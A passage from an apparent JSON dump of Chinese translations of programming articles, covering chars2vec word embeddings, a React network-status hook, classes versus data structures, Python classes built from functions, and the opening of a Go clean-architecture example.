'prtoplasmatic'), # 相似词，目标为 0\n           ('copulateng', 'lzateful'), # 非相似词，目标为 1\n           ('estry', 'evadin6'), # 非相似词，目标为 1\n           ('cirrfosis', 'afear') # 非相似词，目标为 1\n          ]\n\ny_train = [0, 0, 0, 1, 1, 1]\n\nmodel_chars = ['!', '\"', '#', '$', '%', '&', \"'\", '(', ')', '*', '+', ',', '-', '.',\n               '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<',\n               '=', '>', '?', '@', '_', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i',\n               'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w',\n               'x', 'y', 'z']\n\n# 创建 chars2vec 模型，并使用前面的训练数据进行训练\nmy_c2v_model = chars2vec.train_model(dim, X_train, y_train, model_chars)\n\n# 保存预训练的模型\nchars2vec.save_model(my_c2v_model, path_to_model)\n\nwords = ['list', 'of', 'words']\n\n# 保存预训练的模型，创建词嵌入\nc2v_model = chars2vec.load_model(path_to_model)\nword_embeddings = c2v_model.vectorize_words(words)\n```\n\n模型在单词向量化是要用到的字符列表 `model_chars`、模型的维度 `dim` 和用来存储模型的目录的路径 `path_to_model`。训练集 (`X_train`, `y_train`) 由“相似”词对和“非相似”词对组成。`X_train` 是一个词对列表，`y_train` 是它们相似度分数（0 或 1）的列表。\n\n有一点很重要，`model_chars` 列表中所有的字符都应该包含在训练数据集的词集中——如果某一个字符不在其中，或者出现的频率很低，那么每当测试数据集中出现这个字符都会引起不稳定的模型行为。由于这类字符相关的 one-hot 向量很少被传入模型的输入层，模型第一层的权重总是乘 0，也就是说这些权重参数一直都没有被调整到。\n\nchars2vec 模型的另一个优势是解决任意缺少预训练模型的语言相关的 NLP 难题的能力。相比于使用具体词汇处理文本的经典模型，这个模型为一些文本分类和聚类问题提供了更好的办法。\n\n## 基准测试\n\n我们在 IMDb 数据集上对多种词嵌入进行了评论分类任务的基准测试。IMDb 是一个开放的影评数据集，一个评论可以是正面或负面的，所以这是文本二分类任务，我们使用了 5 万条评论作为训练集，另外 5 万条用于测试。\n\n除了 chars2vec 词嵌入，我们还测试了一些有名的词嵌入模型，例如 [GloVe](https://nlp.stanford.edu/projects/glove/)、Google 的 [word2vec](https://code.google.com/archive/p/word2vec/)（“预训练向量使用一部分 Google 新闻数据集（大概 1 亿个词）进行训练。这个模型包含了 3 百万个词和短语所对应的 300 维向量”）、[fastText](https://fasttext.cc/docs/en/english-vectors.html) （维基新闻模型包含 300 个维度，“在维基百科 2017、UMBC webbase 语料库和 statmt.org 新闻数据集（160 亿个标识）上训练的 1 百万个词向量”）。\n\n分类模型工作步骤如下：计算每个每个评论包含的单词的嵌入向量的平均值，以此将其向量化。如果模型词典中没有某个词，就会使用零向量表示这个词。我们使用了 NLTK 库提供的一个包括停止词的标准标识化过程，使用 linearSVM 作为分类器。下面的表格展示了我们对大多数流行的模型进行这样的基准测试得到的正确率。需要指出的是，我们的 chars2vec 模型比依赖大规模词汇表简化了 300 倍，并且仍然能够得到相当不错的结果。\n\n|  词嵌入  | 正确率 | 模型大小 |\n|----------------- |----------------------- |-----------------------|\n| GLoVe 50 | 0.7536 | 171.5 MB | \n| GLoVe 300 | 0.83336 | 1.04 GB | \n| word2vec GoogleNews-vectors-negative300 | 0.85604 | 3.64 GB | \n| fastText wiki-news-300d-1M | 0.85568 | 2.26 GB | \n| chars2vec 50 | 0.63036 | 188 KB | \n| chars2vec 100 | 0.6788 | 598 KB | \n| chars2vec 150 | 0.69592 | 1.2 MB | \n| chars2vec 200 | 0.70188 | 2.1 MB | \n| chars2vec 300 | 0.74012 | 4.6 MB | \n\n我们发现，与语义模型相比，chars2vec 模型还有一些进步空间。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/checking-the-network-connection-with-a-react-hook.md",
    "content": "> * 原文地址：[使用 React Hook 来检查网络连接状态](https://medium.com/the-non-traditional-developer/checking-the-network-connection-with-a-react-hook-ec3d8e4de4ec)\n> * 原文作者：[Justin Travis Waith-Mair](https://medium.com/@want2code)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/checking-the-network-connection-with-a-react-hook.md](https://github.com/xitu/gold-miner/blob/master/TODO1/checking-the-network-connection-with-a-react-hook.md)\n> * 译者：[Jerry-FD](https://github.com/Jerry-FD)\n> * 校对者：[TiaossuP](https://github.com/TiaossuP)、[Stevens1995](https://github.com/Stevens1995)\n\n# 使用 React Hook 来检查网络连接状态\n\n![拍摄来自 [NASA](https://unsplash.com/@nasa?utm_source=medium&utm_medium=referral) on [Unsplash](https://unsplash.com?utm_source=medium&utm_medium=referral)](https://miro.medium.com/max/6646/0*kVB651dEu92o-J-l)\n\n前端开发是一项包含诸多挑战的工作。这项有趣的工作诞生于这个充满设计、用户体验和工程学的世界。我们作为前端开发者的工作是要运用设计、UX 和 UI 逻辑来给用户“打造”一个舒适的体验。\n\n随着高速专用网络变得越来越普及，网络的正常连接已经习以为常了，但是有一个经常被忽视的问题，当你的用户失去网络连接的时候，你会怎么做，你会给用户什么样的体验。许多时候，我们认为保证网络连接是理所当然的，但现实却并不总是这样。越来越多的页面是由移动设备所展示的，这种网络可不能说是稳定的。Wifi 确实越来普及了，但是 Wifi 的死区也的确存在。就算是物理连接的网线也有可能会被踢掉而失去连接。\n\n这篇文章的重点不是要深入到 UI/UX 中去讨论当用户丢失连接时怎么做才是最佳实践，相反，我是要帮你越过最大的障碍：在 React Component 的环境里，准确地判断你是否处于网络连接状态。\n\n##Navigator 对象\n\n我认为在我们深入了解怎么使用 hook 来实现这个具体功能之前，先来了解 JavaScript 是如何判定当前是否处于有网络的状态非常有意义。这个信息可以通过 Navigator 对象找到。那么什么是 Navigator 对象？可以简单的把它当做是一个只可读取的数据，它根据你的数据，包含当前浏览器的状态和特性。它有定位、userAgent 和一些其他的属性，其中就包括你当前是否处于网络连接状态。和往常一样，我建议你在 [MDN 上查阅关于 Navigator 对象的文档](https://developer.mozilla.org/en-US/docs/Web/API/Navigator)。\n\n你可以从全局的 window 对象上获取 Navigator 对象：`window.navigator` 从这里你可以随之获得其中存在的一项或多项属性。我们想要获取的是 `onLine` 这个属性。这里我特别强调一下。它不是 online，它是驼峰命名的，onLine。\n\n## 在 Hook 中使用\n\n显然我们的首要任务是需要一些状态来跟踪记录我们是否在线的状态以及把它从我们的自定义 hook 中 return 出来：\n\n```js\nimport {useState} from 'react';\n\nfunction useNetwork(){\n    const [isOnline, setOnline] = useState(window.navigator.onLine);\n \n    return isOnline;\n}\n```\n\n当组件正常挂载时这样做没有问题，但是如果当用户在渲染完成之后掉线我们该怎么做呢？幸运的是，我们可以监听两个事件，触发时以更新状态。为了达到这个效果我们需要使用 useEffect hook：\n\n```js\nfunction useNetwork(){\n\nconst [isOnline, setNetwork] = useState(window.navigator.onLine);\n\nuseEffect(() => {\n\nwindow.addEventListener(\"offline\", \n    () => setNetwork(window.navigator.onLine)\n);\n\nwindow.addEventListener(\"online\", \n    () => setNetwork(window.navigator.onLine)\n);\n\n});\n\nreturn isOnline;\n\n};\n```\n\n如你所见我们监听了两个事件，`offline` 和 `online` ，当事件触发的时候随之更新状态。处理过 hooks 和事件监听的同学会立刻注意到两个问题。首先是我们需要从这个 useEffect 回调函数中 return 一个清理函数，这样的话 React 可以帮助我们移除事件的监听。\n\n其次是想要依次移除事件的监听，你需要提供同一个函数，这样它才能明确哪一个监听器应该被移除。传入另一个看起来一样的箭头函数不会如期移除事件监听，就算这些监听函数‘长得一样’、‘功能一样‘也不行。所以下面是我们更新后的 hook：\n\n\n```js\nfunction useNetwork(){\n\n   const [isOnline, setNetwork] = useState(window.navigator.onLine);\n\n   const updateNetwork = () => {\n\n      setNetwork(window.navigator.onLine);\n\n   };\n\n   useEffect(() => {\n\n      window.addEventListener(\"offline\", updateNetwork);\n\n      window.addEventListener(\"online\", updateNetwork);\n\n      return () => {\n\n         window.removeEventListener(\"offline\", updateNetwork);\n\n         window.removeEventListener(\"online\", updateNetwork);\n\n      };\n\n   });\n\n   return isOnline;\n\n};\n```\n\n我们现在把函数保存在了变量里面，以此我们可以深入监听和解绑。现在我们已经准备好根据用户是否在线的状态来为用户打造一个独特的体验了。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/classes-vs-data-structures.md",
    "content": "> * 原文地址：[Classes vs. Data Structures](http://blog.cleancoder.com/uncle-bob/2019/06/16/ObjectsAndDataStructures.html)\n> * 原文作者：[Robert C. Martin](http://blog.cleancoder.com/uncle-bob/2019/06/16/ObjectsAndDataStructures.html)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/classes-vs-data-structures.md](https://github.com/xitu/gold-miner/blob/master/TODO1/classes-vs-data-structures.md)\n> * 译者：[EmilyQiRabbit](https://github.com/EmilyQiRabbit)\n> * 校对者：[JalanJiang](http://jalan.space/)，[suhanyujie](https://github.com/suhanyujie)\n\n# 类（Class）与数据结构（Data Structures）\n\n> **什么是类？**\n\n一个类就是一组相似对象的集合的规范。\n\n> **对象是什么？**\n\n对象是一组对封装的数据元素进行操作的函数。\n\n> **更确切的说，对象是一组对**隐含**的数据元素进行操作的函数。**\n\n**隐含**的数据元素是什么意思？\n\n> **对象提供了某些功能，就意味着这个对象包含了一些数据元素；但是这些数据并不能在对象外部直接访问，在对象外部来看，它们是不可见的。**\n\n那么数据不在对象内吗？\n\n> **这是有可能的，但是并没有强制规定必须这样。从用户的角度来看，对象仅仅是一组函数。这些函数操作的数据一定存在，但是这些数据的位置对用户是未知的。**\n\n嗯。好的，我明白了。\n\n> **很好。那么什么是数据结构呢？**\n\n数据结构是一组相关性很强的数据元素。\n\n> **或者，换句话说，数据结构是一组被隐含的函数操作的数据元素。**\n\n好的，我懂了。操作数据结构的函数并不被数据结构本身定义，但是它的存在暗示出，该操作函数一定存在。\n\n> **是的。现在，对于这两个定义，你注意到了什么吗？**\n\n它们在某种程度上是相互对立的。\n\n> **确实是这样。它们是互补的。它们就像手和手套一样契合。**\n\n> **对象是操作隐含数据元素的一组函数。**\n> **数据结构是被隐含的函数操作的一组数据元素。**\n\n哇哦，所以对象并不是数据结构。\n\n> **正确。对象和数据结构是相互对立的。**\n\n所以，DTO —— 数据传输对象 —— 并不是对象？\n\n> **正确，DTO 是数据结构。**\n\n所以数据库表也并不是对象？\n\n> **正确。数据库包含了数据结构，而不是对象。**\n\n等等。ORM —— 对象关系映射 —— 不是将数据库表映射为对象了吗？\n\n> **当然不是。数据库表和对象之间不存在映射关系。数据库表是数据结构，而不是对象。**\n\n那么 ORM 做了什么。\n\n> **它们在数据结构之间传输数据。**\n\n它们和对象毫无关系吗？\n\n> **是的，毫无关系。并没有所谓的对象关系映射；因为数据库表和对象之间并不存在映射关系。**\n\n但是我认为 ORM 为我们构建了业务对象。\n\n> **不是的，ORM 抽象出了我们的业务对象操作的数据。这些数据被 ORM 加载，存在于数据结构之中。**\n\n那么并不是业务对象包含了这些数据结构？\n\n> **可能包含。也可能不包含。但这都不是 ORM 需要负责的事了。**\n\n看起来只是个小小的语义点。\n\n> **完全不是。这个区别有重要的意义。**\n\n比如说？\n\n> **比如设计数据库模式和设计业务对象。业务对象定义了业务**行为**的结构。数据库模式定义了业务数据的结构。这两个结构是被非常不同的条件约束的。业务数据的结构可能并不适用于业务行为。**\n\n嗯，这很让人迷惑呀。\n\n> **你可以这样来想这个问题，数据库模式并不会仅仅为一个应用而调整；它必须要服务于整个企业。所以这些数据的结构是多种不同应用需求的折中选择。**\n\n好的，这一点我明白了。\n\n> **很好。现在考虑每个单独的应用。每个应用的对象模型都描述了这些应用行为的构成方式。每个应用都有不同的对象模型，这些模型都是为每个应用的行为而量身定做的。**\n\n哦，我懂了。由于数据库模式是各种应用程序的折中选择，所以这个模式和任何一个应用的对象模型都能不恰好匹配。\n\n> **正确！对象和数据结构都被非常不同的条件约束。它们很少能够完美地契合。人们习惯称之为对象/关系阻抗不匹配。**\n\n我听过这个。但我之前还以为这种阻抗不匹配被 ORM 解决了。\n\n> **现在你知道不同的答案了。并没有什么阻抗不匹配，因为对象和数据结构是互补的，不是同构的。**\n\n你说什么？\n\n> **它们是对立的，而不是相似的实体。**\n\n对立的？\n\n> **是的，以一个非常有趣的方式对立。你看，对象和数据结构意味着截然相反的控制结构。**\n\n等一下，你说什么？\n\n> **想象一组对象类，它们全都能和一个通用接口相符合。例如，代表了两种尺寸的图片类都有计算形状的面积 `area` 和周长 `perimeter` 的方法。**\n\n为什么所有软件的示例总会包含图形呢？\n\n> **我们来考虑两个不同的形状：方形和圆形。我们都知道，这两种类的周长和面积的计算函数对不同的隐含数据结构进行操作。我们也都知道，这些操作被调用的方式是通过动态多态性。**\n\n等等。慢一点。你说什么？\n\n> **有两个不同的计算面积的方法；一种用来计算方形面积，另一个则用来计算圆形的。当调用者基于特定类型的对象调用面积函数的时候，是对象决定了调用哪个函数。我们称之为动态多态性。**\n\n好的。是这样。对象决定了方法如何实现。这是当然的。\n\n> **现在，我们将对象换成数据结构。我们将会使用 Discriminated Unions。**\n\nDiscriminated Unions 是什么？\n\n> **Discriminated Unions，在这个例子中其实就是两个不同的数据结构。一个用于方形，一个用于圆形。圆形数据结构的数据元素包括一个中心点坐标，和一个半径。同时它也有一个类型代码，表示它代表圆形。**\n\n你是说，就像一个枚举类型？\n\n> **是的。方形的数据结构包含了左上角的点，以及边长。同时它也有鉴别类型的代码 —— 一个枚举类型。**\n\n嗯是的，两个数据结构和一个类型代码。\n\n> **没错。现在考虑面积函数。它需要在内部切换状态，不是吗？**\n\n嗯，在两个不同的情境下，确实需要。一个用于计算方形面积一个用于计算圆形面积。同时计算周长的函数也需要类似的状态切换。\n\n> **没错。现在思考一下这两种场景下的结构。在对象场景下，面积函数的两种实现是互相独立的，并在一定程度上是属于类型的。方形的面积函数属于方形，而圆形面积的计算属于圆形。**\n\n是的，我知道你的思路了。在数据结构的场景下，面积函数的两种实现是在同一个函数中，它们不“属于”任何一个类型。\n\n> **事情变得越来越清晰了。如果你想要为对象添加三角形类型，你必须更改哪些代码？**\n\n不需要修改任何代码。你必须新建一个三角形的类。但是我认为创建实例的方法需要更改。\n\n> **没错。所以当你添加一个新的类型的时候，需要修改的地方非常少。现在，比如你想要新添加一个函数 —— 计算中心点的函数。**\n\n那么现在你必须为三种类型：圆形，方形和三角形，都加上这个函数。\n\n> **非常好。所以，添加一个新的函数是比较困难的，你需要修改每个类。**\n\n但是有了数据结构，就不同了。为了添加三角形这个类型，你必须为修改每个函数，为它们都加上三角形这种状态切换。\n\n> **是的。新建类型也很困难，你需要修改每个函数。**\n\n但是当你添加新的计算中心的函数时，其他没什么需要修改的。\n\n> **没错。添加新函数很容易。**\n\n哇，这和前文所说的是对立的。\n\n> **确实是。让我们来回顾一下：**\n\n> **为一组类添加新的函数很困难，你需要修改每个类。**\n> **为一组数据结构添加新的函数很容易，你只需要添加函数，别的不用改。**\n> **为一组类添加新的类型很容易，你只需要新添加一个类。**\n> **为一组数据结构添加新的类型很困难，你需要修改每个函数。**\n\n是的，确实很对立。但是是以一种很有趣的方式对立起来的。我是说，如果你是要为一组类型添加新的函数，那我就会想要选择使用数据结构。但是如果你是想要添加新的类型，那么你就会想要使用类。\n\n> **你提出了很棒的意见！但是今天我们还要思考最后一件事。在另一个方面，数据结构和类也是相互对立的。和依赖有关。**\n\n依赖？\n\n> **是的，源代码依赖这个方面。**\n\n好吧，我要抓狂了。有什么区别呢？\n\n> **首先考虑数据结构的场景下。每个函数都有一个 switch 语句，它会基于枚举类型代码选择合适的实现。**\n\n是的，确实是这样。但这样有如何呢？\n\n> **想象我们调用了面积函数。调用函数的对象取决于面积函数，而面积函数取决于每个特定的实现。**\n\n如何“取决于”的呢？\n\n> **想象一下，每个面积计算方法都在对象本身的函数中实现。所以会有圆形面积，方形面积和三角形面积。**\n\n好，所以 switch 语句只调用这些函数。\n\n> **想象一下这些函数都在不同的源文件中。**\n\n那么这些带有 switch 语句的源文件就需要导入，或者使用，或者包含所有这些源文件。\n\n> **正确。这就是源代码依赖。一个源文件依赖于另一个源文件。那么这种依赖的方向是什么呢？**\n\n具有 switch 语句的源文件依赖于包含所有实现函数的源文件。\n\n> **那么面积函数的调用者又如何呢？**\n\n面积函数的调用者依赖于带有 switch 语句的源文件，而这个文件又依赖于具有所有实现的源文件。\n\n> **正确。所有源文件依赖都指向调用的方向，从调用者到实现。所以，如果你在这些实现中做了一个错误的修改…**\n\n好的，我明白你的意思了。任何一个实现中的修改都将会导致具有 switch 语句的源文件被重新编译，从而导致任何使用了这个 switch 语句的函数 —— 比如我们的面积计算函数 —— 被重新编译。\n\n> **是的。至少对于依赖于源文件的日期来确定应该编译哪些模块的语言系统来说是这样的。**\n\n它们几乎全都使用静态类型，是吧？\n\n> **是的，但是有一些不是。**\n\n这需要大量的重新编译啊。\n\n> **同时也需要大量的重新部署。**\n\n好吧，但是这些缺点在使用类的场景下是否可以被解决？\n\n> **是的，因为面积函数的调用者取决于某个接口，同时负责实现的函数也依赖于这个接口。**\n\n我懂了。方形类的源文件引入，或者使用，或者包含了形状这个接口的源文件。\n\n> **是的。包含了实现的源文件在调用的相反方向有作用。它们是从实现指向调用者的。至少对于静态类型语言这是肯定的。而对于动态类型语言，面积函数的调用者完全不依赖于任何东西。只在运行时才能找到它的依赖。**\n\n没错，是这样。所以如果你修改了其中一个实现…\n\n> **仅有被修改的文件需要重新编译或者部署。**\n\n这是因为源文件之间的依赖的方向和调用的方向相反。\n\n> **正确。我们称之为依赖反转。**\n\n好，让我来看看我是否能总结这部分内容。类和数据结构在至少三个方面互相对立。\n\n* 类暴露出函数而隐藏数据。数据结构暴露数据但是隐藏函数。\n* 类让增加类型容易，但是增加方法很困难。数据结构让增加函数很容易，但是增加类型困难。\n* 数据结构让调用者需要反复编译和部署。类将调用者从需要反复编译和部署的部分隔离开了。\n\n> **你全都说对了。这些是每个优秀的软件设计者和架构者需要牢记于心的。**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/classes-without-classes.md",
    "content": "> * 原文地址：[Classes Without Classes](https://veriny.tf/classes-without-classes/)\n> * 原文作者：[Fuyukai](https://veriny.tf/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/classes-without-classes.md](https://github.com/xitu/gold-miner/blob/master/TODO1/classes-without-classes.md)\n> * 译者：[EmilyQiRabbit](https://github.com/EmilyQiRabbit)\n> * 校对者：[allenlongbaobao](https://github.com/allenlongbaobao)，[sunhaokk](https://github.com/sunhaokk)\n\n# 不用 Class，如何写一个类\n\n## 前言\n\nPython 的对象模型令人难以置信的强大；实际上，你可以重写所有（对象），或者向任何人分发奇怪的对象，并让他们像对待正常的对象的那样接受它。\n\nPython 的面向对象是 smalltalk 面向对象的一个后裔。在 Python 中，一切都是对象，甚至对象集和对象类型都是如此；特别的，函数也是对象。这让我很好奇：不使用类创建一个类是否可能？\n\n## 代码\n\n这个想法的关键性代码如下所示。这是一个很基础的实现，但它支持 `__call__` 这样的边缘情况（但不支持其他魔术方法，因为他们需要加载依赖）。后文将会解说。\n\n## 有没有搞错？\n\n这是一些很先进的 Python 轮子，它用一种和对象的设计初衷绝不相同的方法使用了一些对象。我们将分段解说代码。\n\n#### 第一个 helper\n\n```\ndef _suspend_self(namespace, suspended):  \n```\n\n这是个让人有点害怕的函数名。暂停？这可不好，但我们是可以解决问题的。`_suspend_self` 函数是 `functools.partial` 的一个简单应用，它的工作原理是：通过从外部函数作用域中捕获 `namespace`，并把它悬停在内部函数中。\n\n```\n    def suspender(*args, **kwargs):\n        return suspended(namespace, *args, **kwargs)\n```\n\n接下来，这个内部的函数调用了和第一个参数 namespace 一起传递进来的函数 suspended，实际上这是将方法又包了一层，这样它就可以应用在一个普通的 Python 类上。`_suspend_self` 余下的部分就只是设置一些属性，这些属性在某些时候可能会被映射（reflection）用到（我可能漏掉一些内容）。\n\n#### 猛兽（beast）\n\n下一个函数是 `make_class`。从它的签名中我们能知道什么？\n\n```\ndef make_class(locals: dict):  \n    \"\"\"\n    在被调用者的本地创建一个类。\n    参数 locals：建立类的本地。\n    \"\"\"\n```\n\n如果其他方法请求或者直接取得了你的本地变量，可不是什么好事。通常情况下，这是为了在之前的栈中搜索什么东西，或者就是在黑你的本机。我们当前的实例属于前面一种，搜索本地函数并加入到类中。\n\n```\n    # 试着找到一个 `__call__` 来执行 call 函数\n    # 它将作为一个函数，这样命名空间和被调用者可以引用彼此\n    def call_maker():\n        if '__call__' in locals and callable(locals['__call__']):\n            return _suspend_self(namespace, locals['__call__'])\n\n        def _not_callable(*args, **kwargs):\n            raise TypeError('This is not callable')\n\n        return _not_callable\n```\n\n这个函数相当简单，它是一个将函数作为返回值的函数！\n它实际上做了如下这些事：\n\n*   在函数类中检查你是否已经定义过 `__call__`\n*   如果有，就像上文介绍过的那样，用 `_suspend_self` 函数“挂载” namespace 来用 `__call__` 生成一个方法。\n*   如果没有，就和默认的 `__call__` 一样，返回一个会发起错误的桩函数（stub function）。\n\n#### 命名空间 namespace\n\nnamespace 是关键的部分，然而我还没有解说。类中的每一个（或者绝大部分）方法都会将 `self` 作为第一个参数，这个 `self` 就是函数运行的时候类的实例。\n\n一个类的实例实际上就是一个你可以用 `.` 符号而不是数字索引访问其内容的字典。所以需要一个可以传入我们期望的函数的对象来模仿这个字典。于是我们就说，这个实例是一个 `namespace`，我们在 `namespace` 上设置变量等等。后文提到 `namespace` 的地方，就把它当作我们的实例。通过调用类的对象自身，你可以获取这个类的实例：`obb = SomeClass()`。\n\n标准的创建点式访问的字典的方法是 attrdict：\n\n```\nattrdict = type(\"attrdict\", (dict,), {\"__getattr__\": dict.__getitem__, \"__setattr__\": dict.__setitem__})  \n```\n\n但是既然它创建了一个类，这就有点欺骗性了。其他的方法包括 `typing.SimpleNamespace`，或者创建一个无哨兵（sentinel）的类。但是这两种方法都还是欺骗性的创建了类，我们都不能用。\n\n##### 解决方案\n\nnamespace 的解决方案是另一个函数。函数的行为可以像可调用的点式访问字典，所以我们就简单的创建一个  `namespace` 函数，假设它就是 self。\n\n```\n    # 这个就充当了 self 对象\n    # 所有的属性都建立在此之上\n    def namespace():\n        return called()\n```\n\n需要注意调用 `called()` 的用法 - 这是为了正常模拟实例上 `__call__` 的行为。\n\n#### 创建 `__init__`\n\nPython 中的所有类都有 `__init__`（不包括默认提供空 init 的类），所以我们需要去模仿这一点并确保用户定义的 init 被调用。\n\n```\n    # 创建一个 init 的替代方法\n    def new_class(*args, **kwargs):\n        init = locals.get(\"__init__\")\n        if init is not None:\n            init(namespace, *args, **kwargs)\n\n        return namespace\n```\n\n这段代码就是简单的从本地获取用户定义的 `__init__`，如果找到了，就调用它。然后，它返回 namespace（就是假的实例），有效地模拟了循环：`(metaclass.)__call__` -> `__new__` -> `__init__`。\n\n#### 清理\n\n接下来要做的就是在类的基础上创建方法，这可以用超级简单的循环扫描来完成：\n\n```\n    # 更新 namespace\n    for name, item in locals.items():\n        if callable(item):\n            fn = _suspend_self(namespace, item)\n            setattr(namespace, name, fn)\n```\n\n和上文提到的相似，所有可调用的函数都被 `_suspend_self` 包裹来将函数变成类的方法，在 namespace 完成设置。\n\n#### 获取到类\n\n最后要做的就是简单的 `return new_class`。获取到类的实例的最后一轮循环是：\n\n*   用户的代码定义了一个类函数\n*   当类函数被调用，该函数调用 `make_class` 来设置 namespace（添加 `@make` 修饰符，这一步就能自动完成）\n*   `make_class` 函数设置实例，使其为后续的初始化做好准备\n*   `make_class` 函数返回另一个函数，调用这个函数就能获取到实例并完成它的初始化。\n\n现在我们就得到它了，一个完全没用类的类。打赌你会实际应用它。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/clean-architecture-in-go.md",
    "content": "> * 原文地址：[Clean Architecture in Go: An example of clean architecture in Go using gRPC](https://medium.com/@hatajoe/clean-architecture-in-go-4030f11ec1b1)\n> * 原文作者：[Yusuke Hatanaka](https://medium.com/@hatajoe?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/clean-architecture-in-go.md](https://github.com/xitu/gold-miner/blob/master/TODO1/clean-architecture-in-go.md)\n> * 译者：[yuwhuawang](https://github/yuwhuawang)\n> * 校对者：[https://github.com/lihanxiang](lihanxiang), [tmpbook](https://github.com/tmpbook)\n\n# Go 语言的整洁架构之道\n\n## 一个使用 gRPC 的 Go 项目整洁架构例子\n\n### 我想告诉你的是\n\n整洁架构是现如今是非常知名的架构了。然而我们也许并不太清楚实现的细节。\n因此我试着创造一个有着整洁架构的使用 gRPC 的 Go 项目。\n\n* [hatajoe/8am: Contribute to hatajoe/8am development by creating an account on GitHub.](https://github.com/hatajoe/8am \"https://github.com/hatajoe/8am\")\n\n这个小巧的项目是个用户注册的例子。请随意在本文下面回复。\n\n### 结构\n\n8am 基于整洁架构，项目结构如下。\n\n```\n% tree\n.\n├── Makefile\n├── README.md\n├── app\n│   ├── domain\n│   │   ├── model\n│   │   ├── repository\n│   │   └── service\n│   ├── interface\n│   │   ├── persistence\n│   │   └── rpc\n│   ├── registry\n│   └── usecase\n├── cmd\n│   └── 8am\n│       └── main.go\n└── vendor\n    ├── vendor packages\n    |...\n```\n\n最外层目录包括三个文件夹：\n\n*   app：应用包根目录\n*   cmd：主包目录\n*   vendor：一些第三方包目录\n\n整洁架构有一些概念性的层次，如下所示：\n\n![](https://cdn-images-1.medium.com/max/800/1*B7LkQDyDqLN3rRSrNYkETA.jpeg)\n\n一共有 4 层，从外到内分别是蓝色，绿色，红色和黄色。我把应用目录表示为除了蓝色之外的三种颜色：\n\n*   接口：绿色层\n*   用例：红色层\n*   